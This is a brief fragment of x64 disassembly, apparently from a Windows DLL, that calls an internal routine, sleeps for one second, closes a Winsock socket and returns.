mov ecx, 0x46
call fcn.180010fb0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x30]
call sub.WS2_32.dll_closesocket
add rsp, 0x68
ret